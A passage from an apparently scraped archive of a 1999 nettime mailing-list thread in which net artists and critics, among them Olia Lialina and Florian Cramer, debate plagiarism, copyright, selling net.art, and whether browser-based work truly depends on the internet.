\n\nan artist mirrored or linked from several web-sites, invited to several\nconferences, is surely more worth than an unkwon one... in this way we go\nback the origin of this discourse, the function of the gallery and museum:\nyesterday we had exihibition, catalogues, conferences, auctions, all parts\nof a  system that was selecting artists and assigning them a different\nlevel of a stairway, the money's stairway...   \n\ntoday we have art websites, net galleries, mailing lists, web auctions and\nso on... i don't see any innovation if we consider \nthese circuits -- more or less indipendent -- as the new institutions of\nnet.art... under this perspective, teleportacia is surely one of the first\nto show the naked king...       \n\n\n>> if these are the premises, i think that we have to find the potential\n>> differences that the net introduce, in the production of communication and\n>> art...\n>\n>sure\n>\n>> we have to\n>>\n>> go for a non mimetic process and to push on mutation, not to reintroduce\n>> from the window what we could trash from the main door.\n>\n>dont trash anything, dont announce anything to be trash. it is not\nconstructive.\n\ni destroy the eXistent not for debris love but to let the life passing\nthrough this debris... i definitely believe in the creative power of\ndestruction...  \n\n>it is loosers ideology\n\n \nsorry, but /~loosers ideology wasn't found on this server\n\n\n>>\n>>\n>> plagiarism don't aim necessary to destruction, but it shows how it's easy\n>> to replicate... great plagiarist always had to learn the techniques of the\n>> masters before replicating them at an accetable level...\n>\n>true\n>\n>> now we can\n>> replicate complex system in few minutes, just using a software...\n>\n>but it is not a big deal and this is what i say in the paragraph u qouted\nabove\n>\n>>\n>>\n>> it means that the machines and the codes had accumulated such a quantity\n>> of human kwnoledge that, sharing it, we can progress much faster on a\n>> collective level than we did in the past...\n>\n>faster is only faster, nothing more\n\n\nnothing more! going faster is not only a matter of quantity, but of\nmultiple elaborations, synthesis of time... all the development of\nphotography, cinema, video, informatic technologies is the development of\nan engine that accumulates and produces duration and time... new\ntechnologies basically works like our memory, zipping and unzipping,\nfolding and unfolding different crystals of time (text, sound, images)...   \n\nany of these crystals can be trapped by the work chain and finalised to\nprofit or liberated to create new pleasureable, non finalised associations\nand connections...     \n\n... any applet, script, game that we playfully create, it's a powerful\nmeans of mutation, because it keeps the aware signs of  of a\nmultiple/singular concatenation of body/minds, where the limits between me\nand the collective you are more and more blurred...\n\nbut when you start to sell, you necessarly end up limitating circulation\nand access \n(why someone should pay for a pubblic artwork, if you don't guarantee to\nthe potential buyer an exclusive access?) and suggesting weird ideas to\nthose that can't really stand the existence of this gift economy... \n\nlook at the etoys vs etoy case, it tells us clearly what is the real\nattitude of the companies towards small actors... etoy created its domain\nat least 3 years before etoys: if now it's sued is because corporations\nfinally obtained laws to do it... \n \ncan you imagine what will happen as soon as they make laws to protect\noriginal artworks on the net? \ndefending the originality of the DNS as a certificate of autenticity, you\nmove in the same conceptual framework of Microsoft... \n\nPlagiarism is necessary. Progress implies it.\nCopyright protects the rich. I'd rather give it away. That way I never feel\nripped off.\n\nthe only original server is the dead server\ndead servers tell no lies\n      \n  \n>> any time that i look at the\n>> source code of an html page i learn something that i could never get from\n>> a manual...and copy and paste it, it's the easiest way to understand how\n>> it works for my pourposes...\n>>\n>> but we have to fight to keep this openess, and not to continue to defend\n>> the same old impossible castles...\n>\n>i personally dont defend \"old impossible castles\", you do idealising Romans\n\neven if i'm roman, i prefer to leave the idealisation of the roman empire\nto nostalgic fascists...\n\n>>\n>>\n>> there's nothing wrong if you get paid to make art, but this is not the\n>> best way to do it...\n>\n>:) it is\n\ni'm glad for you :)\n\n>olia\n>\n\nsnafu\n\nps none of the words written in this message are mine -- language is a\nvirus -- i feel original only when i'm silent...\n\nfor any copyright fee snafu is at disposition of Karl Marx, Maurizio\nLazzarato, Walter Benjamin, Gash Girl, Barbie Liberation Organisation,\nAntonio Rocca, I/O/D, William Burroughs, Tiziano Scarpa and all the other\nauthors that will be so kind to sue me not to have quoted the original\nsource.   \n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "to": "nettime-l {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9911/msg00033.html",
                "list": "nettime_l",
                "author_name": "snafu",
                "subject": "<nettime> Re: olia lialina: Re:art.hacktivism",
                "from": "snafu <snafu {AT} kyuzz.org>",
                "follow-up": [
                    {
                        "from": "lorian Cramer <paragram {AT} gmx.net>",
                        "content": "\n> OL: Are you really familiar with net art or net in general? if yes you\n> should know that copying is not a big deal. You can make hundreds of\n> Art.Teleportacia galleries, but next day they will be only hundreds of\n> outdated pages with not actual information and broken links, because I\n> will update only http://art.teleportacia.org .. The same with all on line\n> art and not art works. What is done on the net is not a book or cd or tape\n> kind of product. It is not complete, not frosen, but can be changed every\n\nCounter-question: Are you really familiar with the net in general and net\nservers in particular? On any Unix-like server, it's quite easy to set up\na cron job that mirrors http://art.teleportacia.org every one hour or even\nevery five minutes if you like. \n\nTo do so would be easy at least for the time being, given that most net\nart, in its focus on surfaces and user interfaces, runs entirely inside\nthe client (browser) and rarely relies on server-side programmation or\ndatabase backends. \n\nI propose to use this technical observation for a critique of net art in\nits current state. \n\nFlorian\n\n-- \nFlorian Cramer, PGP public key ID 6440BA05\nPermutations/Permutationen - poetry automata from 330 A.D. to\npresent: <http://userpage.fu-berlin.de/~cantsin/index.cgi>\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00082",
                        "date": "Mon, 15 Nov 1999 03:49:55 +0100",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "199911151547.KAA23578 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9911/msg00082.html",
                        "content-type": "text/plai",
                        "author_name": "Florian Cramer",
                        "subject": "<nettime> Re: olia lialina: Re:art.hacktivism"
                    },
                    {
                        "from": "lorian Cramer <paragram {AT} gmx.net>",
                        "content": "\nAm Mon, 15.Nov.1999 um 18:47:24 -0800 schrieb Craig Brozefsky:\n\n> I fail to see how this technical observation, that we can copy bits\n> from one place to another and that most net.art is independent of the\n> server, would be the impetus for a critique.  Could you elaborate\n> please?  Are you taling about a critique of conceptions of\n> Intellectual Property, as emodied in various works of net.art?\n\nNo, I wanted to suggest something else. If most \"Net Art\" merely consists of\nstatic files on servers, it interfaces so superficially with the Internet\nthat it should be more properly named \"Netscape Art\". Thanks for mailing me,\nI will have to clarify this point on Nettime.\n\nFlorian\n\n-- \nwww.neoism.org\nwww.neoism.org/squares\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00085",
                        "date": "Mon, 15 Nov 1999 15:44:48 +0100",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "19991115154448.B3747 {AT} gmx.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9911/msg00085.html",
                        "content-type": "text/plai",
                        "author_name": "Florian Cramer",
                        "subject": "Re: <nettime> Re: olia lialina: Re:art.hacktivism"
                    },
                    {
                        "from": "lia lialina <olialia {AT} teleportacia.org>",
                        "content": "\nFlorian Cramer wrote:\n\n> > OL: Are you really familiar with net art or net in general? if yes you\n> > should know that copying is not a big deal. You can make hundreds of\n> > Art.Teleportacia galleries, but next day they will be only hundreds of\n> > outdated pages with not actual information and broken links, because I\n> > will update only http://art.teleportacia.org .. The same with all on line\n> > art and not art works. What is done on the net is not a book or cd or tape\n> > kind of product. It is not complete, not frosen, but can be changed every\n>\n> Counter-question: Are you really familiar with the net in general and net\n> servers in particular? On any Unix-like server, it's quite easy to set up\n> a cron job that mirrors http://art.teleportacia.org every one hour or even\n> every five minutes if you like.\n\n:)\n\nof course it is possible but what sense do you see in it? what for will you\nwaste your time making  mirrors of my gallery. you want to have it? u want to\nsimulate that you have it? can i ask you why? why possession or immitation of\npossessing smth is so important for you?\n\n\"This website \u00bfFlorian Cramer, 1996-1999\nThe sourcecode of this website - including all Perl CGIs - is Free Software and\ncopylefted according to the GNU General\nPublic License \"   --- this i found on your website, looks very romantic in the\ncontext of your COUNTER-QUESTION\n\n\n\nor you mean that you want to help me to promote the gallery making mirrors?\n\nolia\n\n> --\n\nnews\nwill.teleportacia.org\n\nmoney\nart.teleportacia.org\n\ntravel\nwww.teleportacia.org\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00101",
                        "date": "Mon, 15 Nov 1999 23:40:28 +0300",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "199911191439.JAA10332 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9911/msg00101.html",
                        "content-type": "text/plai",
                        "author_name": "olia lialina",
                        "subject": "Re: <nettime> Re: olia lialina: Re:art.hacktivism"
                    },
                    {
                        "from": "lorian Cramer <paragram {AT} bbs.thing.net>",
                        "content": "\nDear Craig,\n\nyou wrote:\n\n> Florian Cramer <paragram {AT} gmx.net> writes:\n> \n> > No, I wanted to suggest something else. If most \"Net Art\" merely consists of\n> > static files on servers, it interfaces so superficially with the Internet\n> > that it should be more properly named \"Netscape Art\". Thanks for mailing me,\n> > I will have to clarify this point on Nettime.\n> \n> What if I don't look at it in Netscape?\n\nI agree with your critique - I was, seduced by the terminological pun,\nover-simplifying things. So I would like to correct my statement as\nfollows:  Although a lot of Net Art can't be seen without Netscape or IE\n(Olia's own works, www.jodi.org, Alexej Shulgin's \"form art\" and even Vuk\nCosic's \"ASCII history of moving images\" which despite its name doesn't\ndisplay in lynx), this is not the point of my critique. The point is that\nmuch if not most of what's called Net Art - as, for example, the works\ncurrently on display at ZKM's \"net.condition\" - can just as well be\nexperienced _without the net_. \n\nWhen I fetched the contents of www.0100101110101101.org and the\nnet.condition web site onto my own harddrive, I realized to my own\nsurprise that the bulk of what is commonly referred to as Net Art does not\nactually use and technically rely upon the Internet, but turns out to be a\nbunch of files which can be viewed offline without loosing anything\n(besides the domain name in the URL display). \n\nIn other words, it doesn't matter whether one views it over the Internet\nor from a CD-ROM, except that - as olia pointed out - the Internet gives\nthe creators more flexibility to update their work. Yet many and\nparticularly the 'classic' pieces of Net Art (a) are not conceived as\nworks to be experienced in continuous change, if they are still changing\nat all, and (b)  do as technical systems not rely on the net, i.e. they do\nnot alter any of their components or parameters according to information\nwhich they _have to_ receive over the net. \n\nSo shouldn't the term \"net art\" be used more cautiously and not be mixed\nup with \"browser-based media art\"? Isn't mixing up the net and the browser\ndisplay the most basic mistake to be made in any net (art) criticism?[1]\nIf one would instead argue that \"Net Art\" qualifies for its name not on\ntechnical grounds, but because it's being created for and out of networked\ncontexts, then \"Net Art\" wouldn't signify anything, because all art is and\nhas always been created out of networked contexts. \n\nIn my view, an example of a \"Net Art\" intertwined in its very structure -\ntechnically and conceptually - with the Internet is Mongrel's manipulated\nsearch engine <www.mongrel.org.uk>. I personally would like to see more\nNet Art investigating (and subverting) what's underneath the browser.[2]\n\nFlorian\n\n\n[1] Certainly, the technical distinction between \"net art\" and\n\"browser-based media art\" has its own potential quirks and traps. \nwww.jodi.org, for example, might be read as a fun and sophisticated\nsimulation of how the Internet is experienced through contemporary browser\nand user interface paradigms; and the fact that its interfacing with the\nInternet is mocked-up by local, static files - i.e. is networking\nsimulated with browser tricks - adds just another ironic twist to its\nplay. With this irony however, www.jodi.org seems to me the only Net Art\nproject which can convincingly declare its technically network-independent\nart as \"Net Art\". \n\n[2] This critique also affects most of my own works on the World Wide Web,\nalthough they are not Net Art. \n\n-- \nFlorian Cramer, PGP public key ID 6440BA05\nPermutations/Permutationen - poetry automata from 330 A.D. to\npresent: <http://userpage.fu-berlin.de/~cantsin/index.cgi>\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00112",
                        "date": "Sat, 20 Nov 1999 03:26:00 +0100",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "199911202103.QAA15320 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9911/msg00112.html",
                        "content-type": "text/plai",
                        "author_name": "Florian Cramer",
                        "subject": "Re: <nettime> Re: olia lialina: Re:art.hacktivism"
                    },
                    {
                        "from": "Simon Biggs <simon {AT} babar.demon.co.uk>",
                        "content": "\nFlorian wrote:\n>When I fetched the contents of www.0100101110101101.org and the\n>net.condition web site onto my own harddrive, I realized to my own\n>surprise that the bulk of what is commonly referred to as Net Art does not\n>actually use and technically rely upon the Internet, but turns out to be a\n>bunch of files which can be viewed offline without loosing anything\n>(besides the domain name in the URL display).\n>\n>In other words, it doesn't matter whether one views it over the Internet\n>or from a CD-ROM, except that - as olia pointed out - the Internet gives\n>the creators more flexibility to update their work. Yet many and\n>particularly the 'classic' pieces of Net Art (a) are not conceived as\n>works to be experienced in continuous change, if they are still changing\n>at all, and (b)  do as technical systems not rely on the net, i.e. they do\n>not alter any of their components or parameters according to information\n>which they _have to_ receive over the net.\n-----\nI think here you are touching on a good reason for why the term Net Art\nshould not be used, or only used for a very small number of works. What\n\"links\" a lot of what is called Net Art is not actually the Net but the\ncomputer. This is true of much work produced for viewing in a browser, or\non CD-ROM, or even a lot of installation based work. Often the only\ndifferences between these works are the means of distribution...and whilst\ndistribution is an important contextual component of any medium or work at\nthe same time it might be hard to use it to define a medium per se. Usually\nthe more important differentiation of such work lies not in its mode of\ndistribution but in how it engages with its primary media platform, the\ncomputer (eg: is the work autonomous, procedural, dynamic databased or\nstatic navigable, etc).\n\nThe Net is formed from the convergence of telecommunications and computing.\nThus one would expect that work that can be called Net Art would also be\nthe direct product of or response to that same convergence of media. When\nregarded from this perspective it becomes clear that there really is only a\nsmall number of works out there that are definitively of the Net, and that\nthese works are those that either engage the Net's capacity for creating\ncommunities and connections between people (as one would expect from a\ntelecommunications technology) and/or those that engage with the abstract\nspace created with the notion of hyperlinking. Here I think of an early\nwork like Ping (1993/4), where users were invited to upload their own\nmaterial into a web database, which was represented as an object in a 3D\nspace. Objects would then sort themselves generically, and you could either\nplot a flythrough of the resulting space or ask the system to auto-pilot\nyou through it. A more recent work such as Web Stalker (which maps\nweb-space itself) is also exemplary in the same fashion, as is TerraVision\n(which relates webspace to real geo-space, and then visualises it in 3D in\nrealtime - rarely seen as it is only viewable via ultra-highband\nconnections).\n\nAs to what to call all that art that people often refer to now as Net Art,\nbut which is only cosmetically of the Net?, that is another problem...?\n\n\n\nSimon Biggs\nLondon GB\n\nsimon {AT} babar.demon.co.uk\nhttp://www.easynet.co.uk/simonbiggs/\n\nProfessor of Research (Fine Art)\nArt and Design Research Centre\nSchool of Cultural Studies\nSheffield Hallam University\nSheffield, UK\nhttp://www.shu.ac.uk/\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00116",
                        "date": "Sun, 21 Nov 1999 12:11:16 +0100",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "199911211247.HAA19054 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9911/msg00116.html",
                        "content-type": "text/plai",
                        "author_name": "Simon Biggs",
                        "subject": "Re: <nettime> Re: olia lialina: Re:art.hacktivism"
                    },
                    {
                        "from": "bert adrian <rax {AT} thing.at>",
                        "content": "\nThe problem is that a few years ago someone (can't remember\nwho) coined the catchy name net.art - it was the little dot that\ndid it and the name has been with us ever since. But what was\nreally meant was web art - or \"web.art\" if you like - which Florian\nwould prefer to rename as \"browser art\" (no dot). Web Art is stuff\nthat relies on the WWW for distribution and has existed only since\nthe introduction of the first reliable graphic-capable browsers.\nNet Art is a bit broader and existed in one form or other long\nbefore the WWW ... and while the internet was still little more\nthan a gleam in the eye of a few U.S. academics.\n\nNet Art, Network Art, Telecommunications Art, Telematic Art - or\nwhatever - is about artists working within the electronic space of\ncommunication networks. Prior to the (more or less) universal\navailability of the internet this usually meant the telephone network.\nCommunication itself was the main content of most of this work -\na visible product (art-commodity) was never a serious consideration.\n\nSo its not really a matter of \"viewing\" a net.work, its a matter of\nexperiencing it in the context of the network ... in the knowledge\nthat you are experiencing a version - dependant on your browser,\nbandwidth, CPU, monitor resolution etc. - of a work for the internet.\nThe artist can't control any of these factors so that every viewing\nis a new experience - unless you materialise the work as a recording\ncaptured on your hard drive or CD burner - and even then its just\nYOUR version.\n\nThe exciting - and frustrating - thing about working or viewing on\nthe web is that you can't control the final appearance of the work.\n(In fact there is NO final version of the work.) Thats been a part of\nnet.working since the beginning - and its the revolutionary aspect.\n\nLots of artists and all museums don't like the loss of control ... so\nthere's still painting!\n\n\n\nThe problems being encountered by collectors and museums - and\nartists who wish to profit from the traditional marketing strategies\nof the past - is that network art is transient and freely accessible\nto all. What is missing is tha aura of the original\n\n>In other words, it doesn't matter whether one views it over the Internet\n>or from a CD-ROM, except that - as olia pointed out - the Internet gives\n>the creators more flexibility to update their work. Yet many and\n>particularly the 'classic' pieces of Net Art (a) are not conceived as\n>works to be experienced in continuous change, if they are still changing\n>at all, and (b)  do as technical systems not rely on the net, i.e. they do\n>not alter any of their components or parameters according to information\n>which they _have to_ receive over the net.\n>\n>So shouldn't the term \"net art\" be used more cautiously and not be mixed\n>up with \"browser-based media art\"? Isn't mixing up the net and the browser\n>display the most basic mistake to be made in any net (art) criticism?[1]\n>If one would instead argue that \"Net Art\" qualifies for its name not on\n>technical grounds, but because it's being created for and out of networked\n>contexts, then \"Net Art\" wouldn't signify anything, because all art is and\n>has always been created out of networked contexts.\n>\n>In my view, an example of a \"Net Art\" intertwined in its very structure -\n>technically and conceptually - with the Internet is Mongrel's manipulated\n>search engine <www.mongrel.org.uk>. I personally would like to see more\n>Net Art investigating (and subverting) what's underneath the browser.[2]\n>\n>Florian\n>\n>\n>[1] Certainly, the technical distinction between \"net art\" and\n>\"browser-based media art\" has its own potential quirks and traps.\n>www.jodi.org, for example, might be read as a fun and sophisticated\n>simulation of how the Internet is experienced through contemporary browser\n>and user interface paradigms; and the fact that its interfacing with the\n>Internet is mocked-up by local, static files - i.e. is networking\n>simulated with browser tricks - adds just another ironic twist to its\n>play. With this irony however, www.jodi.org seems to me the only Net Art\n>project which can convincingly declare its technically network-independent\n>art as \"Net Art\".\n>\n>[2] This critique also affects most of my own works on the World Wide Web,\n>although they are not Net Art.\n>\n>--\n>Florian Cramer, PGP public key ID 6440BA05\n>Permutations/Permutationen - poetry automata from 330 A.D. to\n>present: <http://userpage.fu-berlin.de/~cantsin/index.cgi>\n>\n>#  distributed via <nettime>: no commercial use without permission\n>#  <nettime> is a moderated mailing list for net criticism,\n>#  collaborative text filtering and cultural politics of the nets\n>#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n>#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n\n___________________\nrobert adrian\nwiedner hauptstrasse 37/69\na-1040 vienna austria\ntel: +43 1 504 3110\nfax: +43 1 504 4849\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00119",
                        "date": "Sat, 20 Nov 1999 16:29:18 +0100",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "199911211634.LAA19658 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9911/msg00119.html",
                        "content-type": "text/plai",
                        "author_name": "robert adrian",
                        "subject": "Re: <nettime> Re: olia lialina: Re:art.hacktivism"
                    },
                    {
                        "from": "lia lialina <olialia {AT} teleportacia.org>",
                        "content": "\n> Cramer:\n\n> So I would like to correct my statement as\n> follows:  Although a lot of Net Art can't be seen without Netscape or IE\n> (Olia's own works, www.jodi.org, Alexej Shulgin's \"form art\" and even Vuk\n> Cosic's \"ASCII history of moving images\" which despite its name doesn't\n> display in lynx), this is not the point of my critique. The point is that\n> much if not most of what's called Net Art - as, for example, the works\n> currently on display at ZKM's \"net.condition\" - can just as well be\n> experienced _without the net_.\n\nthis statement is simply amasing, especially because ZKM is the best\nexample of the opposite. and i hope a bitter lesson for over curators. \n\nbtw, ZKM intended to make this show offline, but because of two reasons\nthey could not manage it:  \n- some artists refuse to move their projects to zkm mashines \n- a lot of projects are based on cgi scripts. \n\n this is just an information, in the end they have an internet connection\nthere. \n\n\nBut anyway Weibel ( with support of Weil and dramatic input of Show -\nhttp://www.cinefantom.org/show.jpg ) managed to take the works of artist\nfrom the context and their natural environment. \n\nThe princip is One computer - One work.  Browser inwindow equels screen\nsize, no navigation bar, no location field.  So u are obliged to see thit\nparticular work only at this particular mashine -even visually complete\nillusion that cd projects are presented.  The result is you cant type\nanother address, you cant check your email, cant go to http://www.bahn.de\nto look for the next train, cant chat.  nothing else but the work of\nartist whos name is written on the mous pad.  How you can expirience this\nway?  nothing to expirience\n\nThere is complete incompetence behind strong media art curators' desire to\nsolve a problem of presenting net art in the gallery space this way.  and\nthe punishment is very flat show, exhibition which is less spectacular\nthan its small green booklet, booklet u can bring home or to the office\nand to type the urls in your browser and to enjoy the works or at least to\nsee them. \n\nNet_Condition itself does not give this chance at all. \n\n Because curator does not know that net is not equel to the internet\nconnection as well as net projects are not equel to their browser inwindow\nvisualisation.  and that what we are doing can not \" just as well be\nexperienced _without the net_\" ,\n\n\n> > > When I fetched the contents of www.0100101110101101.org and the >\nnet.condition web site onto my own harddrive, I realized to my own >\nsurprise that the bulk of what is commonly referred to as Net Art does not\n> actually use and technically rely upon the Internet, but turns out to be\na > bunch of files which can be viewed offline without loosing anything >\n(besides the domain name in the URL display). \n\nbut this is already a big lost\n\n\nhttp://art.teleportacia.org/Location_Yes\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00127",
                        "date": "Mon, 22 Nov 1999 02:54:40 +0300",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "199911221358.IAA24106 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9911/msg00127.html",
                        "content-type": "text/plai",
                        "author_name": "olia lialina",
                        "subject": "Re: <nettime> Re: olia lialina: Re:art.hacktivism"
                    },
                    {
                        "from": "Tilman Baumgaertel <tilman_baumgaertel {AT} csi.com>",
                        "content": "\nHi!\n\nIt seems that we had this discussion a couple of times already on this\nlist, didn't we? \n\nI find it a little narrow-minded and most of the arguments, that were put\nforward, simplistic and with little regard to specific works. Plus, I\nthink it is a bit early to get fundamentalistic about what qualifies as\nnet art and what doesn't. Most of the projects that are being put down\nhere were mere experiments, and as such they are legitimate.\n\nIf net art is supposed to be specific to the net, than why is what was\ncalled \"browser art\" not net-specific? After all, there would be no\n\"browsers\" and not HTML to mess around with, if it wasn't for the net, to\nbegin with.\n\nAlso, one can't generalize that all web-based art would work in any other\ncomputer-based format. A lot of sites that work with perl change everytime\nthey are accessed by different people, and every copy cat would have a\nhard time downloading a piece like www.irational.org/x. \n\nEven a piece like the original \"Agatha appears\" by Olia, where Agatha\nhopped from server to server, wouldn't make very much sense on a CD-Rom\n(even though it was released in this format). Also, in Olias \"Great\nGatsby\"  the internet-download-time of certain files mattered, that also\ngoes for most of what has been created by Jodi. \n\nOf course, these web pieces don't take full advantage of all of the\ncapacities of the net, and there are probably a million other art-things\nto do with the internet than creating web sites. Then again, net art is a\nvery young genre, and these experiments were necessary before moving on to\nother, more challenging projects. I also don't want to justify evey boring\nart website, and as far as I am concerned, my need for HTML-/Browser-Art\nis completely fullfilled by Jodi.\n\nI think the best thing about the whole net art thing might have been, that\nit encouraged artists to work on computers and programming. Not on huge,\nZKM-style \"interactive\" installations, that make eveybody yawn, but on\nactual software that deals with the specifics of the computer, instead of\nhiding it liek 99 percent of the interactive art of the 90ies. \n\nThe \"WebStalker\" is one example for this kind of artist's software, Jodis\n\"OSS\"-CD-Rom is another, Mongrels \"Heritage\" and \"Linker\" are yet another\none, and \"Earshot\" might be another one if I only would ever get it to\nwork.\n\nSomething similar happened in Video art, by the way, when people started\nto build their own hardware, \"videosynthesizer\", effect boxes etc.\n\nSo creating actual applications could be an interesting direction the\nwhole thing might take. After all, software is the ultimative multiple...\n;-) \n\nYours, \nTilman \n\nPS: Of course, if that really happens, somebody has to come up with\nanother name than net art.\n\n\n\nAt 03:26 20.11.99 +0100, you wrote:\n>Dear Craig,\n>\n>you wrote:\n>\n>> Florian Cramer <paragram {AT} gmx.net> writes:\n\n<....>\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00129",
                        "date": "Sun, 21 Nov 1999 23:16:53 +0100",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "199911221403.JAA24134 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9911/msg00129.html",
                        "content-type": "text/plai",
                        "author_name": "Tilman Baumgaertel",
                        "subject": "Re: <nettime> Re: olia lialina: Re:art.hacktivism"
                    }
                ],
                "message-id": "199911090032.TAA21017 {AT} bbs.thing.net",
                "date": "Tue, 09 Nov 1999 02:23:14 +0100",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "nettime maillist <nettime {AT} desk.nl>",
                "id": "00035",
                "content": "\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n<nettime-l-temp {AT} material.net> is the temporary home of the nettime-l list\nwhile desk.nl rebuilds its list-serving machine.  please continue to send\nmessages to <nettime-l {AT} desk.nl> and your commands to <majordomo {AT} desk.nl>.\nnettime-l-temp should be active for approximately 2 weeks (11-28 Jun 99).\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n\n\n\nDate: Fri, 09 Jul 1999 12:50:57 +0400\nFrom: olia lialina <olialia {AT} teleportacia.org>\nTo: nettime-l-temp {AT} material.net\nSubject: Re:art.hacktivism\n\nSubject: \n             Re:art.hacktivism\n        Date: \n             Fri, 09 Jul 1999 11:10:54 +0400\n       From: \n             olia lialina <olialia {AT} teleportacia.org>\n Organization: \n             Teleportacia\n         To: \n             nettime-l {AT} Desk.nl, list {AT} rhizome.org, Luther Blissett\n<12345 {AT} net27.it>\n\n\n\nLB: [...] Net.art, born just some years ago, is becoming *the* new art\nform, the ultimate one, and the most absurd thing is that net.artists\nthemselves seem to expect nothing else.  Everyone with his own site,\neveryone with his own domain, everyone with his own gallery, they are\nthrowing themselves into the trammels of traditional art, completely\nignoring what net.art could/should be and misunderstanding the real power\nof the web. OL: 1.Wrong argument. Registration of domain name sais about\nunderstanding of the real power of the web. 2.0100101110101101.ORG is a\ndomain name registrated at the same company and for the same money as\nothers.\n\nLB: The point under discussion is always the same: how to sell a net.art\nwork. In other words: how to make net.art regress to the status of\ntraditional art. OL: Not \"in other words\" but \"in LB words\".\n\nLB: All of it dictated by one and only ideal: the circled \"C\". Result?\nWithin two years net.art will be in all museums and art history handbooks,\nwith the names of the \"protagonists of the heroic period\", dates,\nmovements, influences, generations and so on, tons of the same shit we\nhave been eating all the times. But this is not what we expected. We hoped\nthat something else would come out, at least in the web. The web is the\nparadise of no-copyright, plagiarism, confusion and exchange, why the hell\nare those people trying, by any means, to create a copy of the real world?\nOL: In general net is an analog of \"real world\" and part of it. What I and\nothers who take Internet seriously are doing is modeling situations,\nrelations, structures.\n\nLB: The difference between net.art and every other form of art seems to be\n\"interactivity\", at least this is what we got used to hear. OL: Bozhe moj.\nwho told it to you? whom you talked with and when? try to recall. May be\nit was about compact disks or computer installations? any way, dont say it\nagain. If you need a keyword for net art its a \"connectivity\".\n\nLB:But recently something's changed.\nOL: What exactly has changed?\n\nLB:We're talking about 0100101110101101.ORG, come into the limelight for\nhaving hacked hell.com. In fact, 0100101110101101.ORG is trying to show\nthat art in the web can really become \"interactive \": the public must use\nit interactively, we must use an artwork in an unpredictable way, one that\nthe author didn't foresee, to rescue it from its normal routine\n(studio/gallery/museum or homepage/hell.com/Moma) and re-use it in a\ndifferent and novel way.\n\nOL: What you've described is an art method known long before the Internet.\n(Soviet conceptual culture is based on it, or found footage in film can be\nan example). Internet really gave a new life to \"re-use\" and it is one of\nthe most important skills if you work with the net.\n\nLB: The first files appeared in 0100101110101101.ORG are what we'll call\n\"hybrids\", in absence of other names: pages by other net.artists all mixed\nin a random way. This section of the site is centered around a random\nconcept, so that the interface changes every time you visit it. OL: Yes, I\nremember we made it two years ago at 